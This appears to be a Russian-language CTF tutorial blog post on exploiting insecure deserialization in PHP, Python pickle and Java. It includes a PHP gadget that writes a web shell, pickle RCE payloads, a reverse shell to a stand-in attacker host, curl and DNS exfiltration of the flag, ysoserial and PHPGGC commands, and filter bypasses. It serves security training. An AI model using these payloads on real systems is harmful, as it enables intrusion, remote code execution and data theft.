
На последнем jeopardy-CTF я вытянул флаг из web-таска за 12 минут: base64-декодированная cookie содержала строку O:4:"User":2:{s:7:"isAdmin";b:0;}, замена b:0 на b:1 открыла admin-панель с флагом. В соседнем таске на Python другой участник команды провёл три часа — не опознал pickle-формат в POST-параметре и упорно искал SQL-инъекцию. Знакомо? Insecure deserialization входит в OWASP A08:2021 (Software and Data Integrity Failures) и остаётся одной из самых убойных уязвимостей в CTF-категории web: один HTTP-запрос — и у тебя RCE, чтение файлов или полный обход аутентификации. Разберём insecure deserialization эксплуатацию в трёх языках — от идентификации сериализованного объекта до получения шелла.
Половина успеха в CTF — распознать сериализованные данные раньше, чем начнёшь ковырять XSS или SQL-инъекцию. Данные обычно валяются в cookies, hidden-полях форм, POST-параметрах, реже — в HTTP-заголовках. Каждый язык оставляет характерный отпечаток. Подробнее — в нашем материале про создание ctf заданий.
PHP — самый читаемый формат. Строка начинается с типа данных и длины: O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}. Тут O — объект, s — строка с указанием длины, i — integer, b — boolean. По данным PortSwigger Web Security Academy, формат PHP-сериализации human-readable: буквы кодируют тип, числа — длину элемента. Если base64-декодированная cookie начинается с O: или a: — перед тобой результат serialize().
Java — бинарный формат. В hex-дампе ищи сигнатуру AC ED 00 05 в первых байтах потока. В base64 это превращается в rO0AB. Любой класс с интерфейсом java.io.Serializable может быть сериализован, а десериализация идёт через ObjectInputStream.readObject(). Видишь rO0AB в cookie или POST-body — это Java-объект, без вариантов.
Python pickle — тоже бинарный. Протоколы 2–5 начинаются с байта \x80 и номера версии: \x80\x03, \x80\x04, \x80\x05. В base64 это gAM, gAQ, gAU. Старый протокол (0 и 1) текстовый — содержит опкоды вида cos\nsystem\n или cbuiltins\nexec\n. Наличие cbuiltins или c__builtin__ в декодированном параметре — верный признак pickle.
Быстрый способ подтвердить десериализацию: подмени один байт в сериализованном объекте и отправь запрос. Прилетела 500-ка или stack trace с упоминанием unserialize(), readObject(), pickle.loads() — точка входа найдена.
В реальном мире (и в CTF) десериализация позволяет внедрить произвольный объект в серверную логику. Это не модификация данных — это контроль над поведением приложения. Результат: от подмены роли пользователя и обхода аутентификации до полноценного RCE. В CTF это обычно cat /flag.txt; в продакшене — шелл на сервере с базой персональных данных.
PHP — самый частый язык для десериализационных тасков в CTF. Формат сериализации текстовый, а магические методы дают предсказуемые точки входа. Предусловие: на сервере должен быть класс с «полезным» магическим методом, доступный через autoload или явно подключённый.
PHP object injection строится на магических методах — функциях, которые PHP вызывает автоматически при определённых событиях. Три метода, которые надо знать:
__wakeup() — вызывается сразу после unserialize()__destruct() — срабатывает при уничтожении объекта (конец скрипта или явный unset)__toString() — вызывается при приведении объекта к строке (например, echo $obj)Классический CTF-сценарий: в исходниках таска есть класс, где __destruct() делает что-то опасное с атрибутами объекта. Такой класс (или его автозагрузчик) должен быть в scope уязвимого скрипта — приведённый ниже Logger иллюстративен, в реальном таске ищи подходящий класс в исходном коде или бери PHPGGC.
class Logger {
public $logFile;
public $logData;
function __destruct() {
file_put_contents($this->logFile, $this->logData);
}
}
$payload = new Logger();
$payload->logFile = "shell.php";
$payload->logData = "<?php system(\$_GET['cmd']); ?>";
echo serialize($payload);
На выходе строка вида O:6:"Logger":2:{s:7:"logFile";s:9:"shell.php";s:7:"logData";s:31:"..."} (длина s:31 соответствует 31 байту payload). Отправляешь на сервер, PHP десериализует объект, в конце скрипта дёргается __destruct(), file_put_contents() пишет веб-шелл. При ручной сборке или модификации сериализованной строки длина после s: ОБЯЗАТЕЛЬНО должна точно совпадать с байтовой длиной значения — иначе unserialize() вернёт false и ничего не произойдёт. Дальше обращаешься к shell.php?cmd=cat+/flag.txt — флаг в кармане.
Отдельный приём, который русскоязычные источники почти не покрывают, — эксплуатация PHP type juggling через десериализацию. Согласно PortSwigger Web Security Academy, на PHP 7.x и ранее оператор == при сравнении целого числа 0 со строкой возвращает true: выражение 0 == "secret_password" истинно, потому что PHP приводит строку к 0. Если приложение проверяет пароль из десериализованного объекта через ==, достаточно заменить s:6:"qwerty" на i:0 в сериализованной строке. Десериализация сохранит тип данных — и проверка пароля пройдена. На PHP 8+ этот трюк закрыт: 0 == "string" возвращает false. На PHP 7.x сравнение 5 == "5 of something" давало true, на 8+ — false (RFC «Saner string to number comparisons» изменил семантику).
Когда исходный код таска не содержит очевидного уязвимого класса, но под капотом фреймворк (Laravel, Symfony, WordPress, Magento, Guzzle) — подключай PHPGGC. Это генератор gadget chain для PHP, аналог ysoserial для Java: собирает цепочки вызовов через существующие классы популярных библиотек.
На практике: команда phpggc Laravel/RCE1 system "cat /flag.txt" генерирует готовый сериализованный объект. Чтобы определить фреймворк в CTF, смотри заголовки ответа (X-Powered-By), cookies (Laravel — laravel_session, Symfony — PHPSESSID с характерным форматом), структуру ошибок и stack traces.
Команда phpggc -l выведет все доступные цепочки, phpggc -l Laravel — фильтр по фреймворку. Каждая цепочка указывает тип импакта (RCE, file read, file write, file delete) и совместимые версии библиотеки. Выбор неправильной версии — частая ошибка в CTF: payload генерируется без ошибок, а на сервере тишина.
PHAR-десериализация — техника, которую RU-источники упоминают фрагментарно (на Codeby есть райтап с реальным кейсом через PHAR-полиглот), а PortSwigger разбирает как отдельный вектор атаки. Суть: PHP автоматически десериализует метаданные PHAR-архива при обращении через stream wrapper phar://. Это срабатывает в любой файловой функции: file_exists(), file_get_contents(), is_dir(), fopen(), filesize().
Сценарий в CTF: на сервере нет явного unserialize(), но есть загрузка файлов и обработка пользовательских путей через файловые функции. Алгоритм:
$phar->setMetadata($exploit_object)__HALT_COMPILER(); можно вставить JPEG magic bytes \xFF\xD8. Парсер изображений видит JPEG, парсер PHAR видит валидный архивphar:///app/upload/image.jpg — PHP десериализует метаданные, срабатывает gadget chainЕсли сервер фильтрует подстроку phar — пробуй смену регистра: PHAR://, Phar://. Также работают обёртки compress.zlib://phar:///path и compress.bzip2://phar:///path. В кейсе, описанном на форуме Codeby, обход фильтра через PHAR:// сработал на production-системе.
Предусловия для PHAR-десериализации: PHP с включённым модулем Phar, возможность загрузить файл и контролировать путь в файловой функции. Параметр phar.readonly по умолчанию On (начиная ещё с PHP 5.3) — но это ограничение только на запись новых PHAR-архивов, на чтение и десериализацию метаданных существующих файлов оно не влияет.
Python pickle — особый случай. В отличие от PHP, где нужен существующий уязвимый класс на сервере, pickle позволяет выполнить произвольный код без каких-либо предусловий на стороне приложения. Любой вызов pickle.loads() с пользовательскими данными — готовый RCE. Как отмечено в источнике bi.zone, «для успешного проведения атаки не требуется каких-либо дополнительных предпосылок». Звучит слишком хорошо? Да. Именно поэтому pickle-таски на CTF — подарок.
Механизм: pickle-протокол поддерживает опкод REDUCE, который вызывает callable-объект с указанными аргументами при десериализации. Метод __reduce__() Python-класса определяет, какой callable и с какими параметрами будет вызван.
import pickle, base64
class Exploit:
def __reduce__(self):
return (__import__('os').system, ('cat /flag.txt',))
print(base64.b64encode(pickle.dumps(Exploit())))
На выходе — base64-строка. При десериализации через pickle.loads() на сервере вызывается os.system("cat /flag.txt"). Для reverse shell меняешь команду на bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/PORT <&1'.
Альтернативный callable — exec: конструкция return (exec, ('import os;os.system("id")',)) позволяет выполнить многострочный Python-код. Для CTF с blind-сценарием (нет вывода команды) используй DNS/HTTP exfiltration: curl http://YOUR_SERVER/$(cat /flag.txt | base64).
В CTF-тасках pickle-данные обычно передаются через cookie в base64, через POST-параметр или через WebSocket. Декодируй, проверь сигнатуру \x80\x03 или \x80\x04, собери payload и подставь обратно.
CTF-авторы средней и высокой сложности ставят фильтры на десериализацию. Вот типичные ограничения и как их обходить:
Запрет модулей через find_class. Сервер наследует pickle.Unpickler и переопределяет find_class(), разрешая только определённые модули. Если запрещён os — используй builtins.eval: return (eval, ("__import__('os').system('cat /flag.txt')",)). Модуль builtins блокируют редко — без него не работает базовая десериализация.
Фильтрация по опкодам. Сервер анализирует pickle-поток и блокирует опкод R (REDUCE — основной способ вызова callable). Обход: ручная сборка pickle-потока с альтернативными опкодами. Опкод o (OBJ) и i (INST) вызывают callable через другой механизм. Для анализа существующего pickle-потока используй pickletools.dis(), для ручной сборки — struct.pack() и конкатенацию байтов. Этот уровень — для финалов CTF и тасков на 300+ очков. Тут уже надо понимать стековую машину pickle, а не просто копировать шаблоны.
Ограничение по версии протокола. Если сервер принимает только protocol 0 (текстовый), собирай payload вручную: cos\nsystem\n(S'cat /flag.txt'\ntR. — текстовое представление вызова os.system('cat /flag.txt') в pickle protocol 0. Символ R — тот же REDUCE, но в текстовом формате.
Предусловия для эксплуатации pickle: Python 2.x или 3.x (REDUCE работает во всех версиях), вызов pickle.loads() / pickle.load() с данными из недоверенного источника, отсутствие кастомного Unpickler с жёстким whitelist. Версия Python влияет на доступные модули, синтаксис payload и бинарную совместимость: DEFAULT_PROTOCOL различается между версиями (0 в Python 2, 5 в Python 3.8+), поэтому для Python 2-целей явно указывай protocol=2 в pickle.dumps().
Java-десериализация — самая «тяжёлая» в настройке, но и самая разрушительная по последствиям. Gadget chains в Java работают через стандартные библиотеки (Apache Commons Collections, Spring Framework, Groovy), которые сидят в classpath большинства Java-приложений.
Сигнатура Java ObjectInputStream: байты AC ED 00 05 в начале потока. В base64 — rO0AB. Расширение Java Deserialization Scanner для Burp Suite автоматизирует поиск: сканирует все параметры и cookies на наличие сигнатуры.
Подтверждение: подмени несколько байтов в mid-stream и отправь запрос. В ответе java.io.StreamCorruptedException — десериализация есть. Если прилетело java.lang.ClassNotFoundException — ещё лучше: имя класса в исключении подскажет, какие библиотеки загружены и какие gadget chains доступны.
По данным Veracode, типичный пример: «An attacker abuses the R00 Java object signature and, by employing the Java Serial Killer tool, performs remote code execution on the application server.» В CTF механика та же, но вместо Java Serial Killer чаще берут ysoserial.
ysoserial — генератор gadget chain payload для Java. Каждая цепочка привязана к конкретной библиотеке, которая должна быть в classpath целевого приложения.
java -jar ysoserial.jar CommonsCollections1 \
"cat /flag.txt" | base64 -w 0
На выходе — base64-кодированный сериализованный объект. Подставляешь его в cookie или POST-параметр, сервер десериализует, срабатывает gadget chain, команда выполняется.
Основные цепочки для CTF:
| Цепочка | Целевая библиотека | Примечание |
|---|---|---|
| CommonsCollections1 | Apache CC 3.1 | Самая распространённая в CTF-тасках |
| CommonsCollections5 | Apache CC 3.1 | Не требует SecurityManager |
| CommonsCollections7 | Apache CC 3.1 | Обход некоторых WAF |
| CommonsCollections2 | Apache CC 4.0 | Для версии 4.x |
| Groovy1 | Groovy 2.3.x | Встречается в Jenkins-тасках |
| Spring1 | Spring Core | Для Spring Boot-приложений |
| Jdk7u21 | JDK 7u21 и ниже | Без внешних зависимостей |
Если библиотека на сервере неизвестна — перебирай цепочки. Команда java -jar ysoserial.jar без аргументов выведет полный список. В CTF обычно стреляет одна из CommonsCollections (1, 5 или 7). Я начинаю с пятёрки — она не зависит от SecurityManager и чаще всего подходит.
Для blind-эксплуатации (нет прямого вывода): java -jar ysoserial.jar CommonsCollections1 "curl http://YOUR_SERVER/$(cat /flag.txt | base64)" — флаг придёт в HTTP-запросе на контролируемый сервер. DNS-вариант: nslookup $(cat /flag.txt).your.domain.
Ограничения по версиям: CommonsCollections1 работает только с Commons Collections 3.x; для 4.x нужны CommonsCollections2 или CommonsCollections4. Цепочка Jdk7u21 эксплуатирует баг в конкретной версии JDK и не работает на 8+. В CTF авторы намеренно используют уязвимые версии — но проверять стоит по stack trace или серверным заголовкам.
| Критерий | PHP | Python pickle | Java |
|---|---|---|---|
| Формат | Текстовый (O:4:...) |
Бинарный (\x80\x03...) |
Бинарный (AC ED 00 05) |
| Base64-маркер | Зависит от объекта | gAM, gAQ |
rO0AB |
| Функция десериализации | unserialize() |
pickle.loads() |
readObject() |
| Нужен уязвимый класс на сервере | Да | Нет | Да (в classpath) |
| Генератор payload | PHPGGC | Скрипт с __reduce__ |
ysoserial |
| Ключевые методы | __wakeup, __destruct |
__reduce__ |
readObject |
| Типичный результат | RCE, file read/write, SSRF | RCE | RCE |
| Предусловия | Класс с magic method | Только pickle.loads() |
Библиотека в classpath |
| Сложность в CTF | Низкая–средняя | Низкая | Средняя |
O: → PHP, \x80\x03 → Python pickle, AC ED → Java__destruct() / __wakeup(). Если используется фреймворк — запусти phpggc -l <framework> и подбери цепочку__reduce__() — return (os.system, ('cat /flag.txt',)) или через exec/eval для обхода фильтровInsecure deserialization в реальном мире работает по тем же принципам, что и в CTF — разница в масштабе последствий. В CTF получаешь флаг; в продакшене атакующий получает шелл на сервере с пользовательскими данными. Я разбирал несколько инцидентов, где корневая причина — pickle.loads() на данных из Redis-очереди или unserialize() PHP-сессии, хранящейся в cookie без HMAC-подписи.
Самая неудобная правда: большинство разработчиков до сих пор не воспринимают десериализацию как вектор атаки. Им кажется, что бинарный формат Java или нечитаемый pickle-поток «сами по себе защищены». Это не так и никогда не было так — security through obscurity не защита, а отложенный инцидент. Каждый раз, когда я вижу pickle.loads(request.data) без кастомного Unpickler, ставлю мысленный крестик и иду за PoC. Если CTF-тасков мало и хочется довести десериализацию до пентестерского уровня — на WAPT есть модули с лабами под эту связку, от простых PHP object injection до полноценных Java gadget chain с прогрессией.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...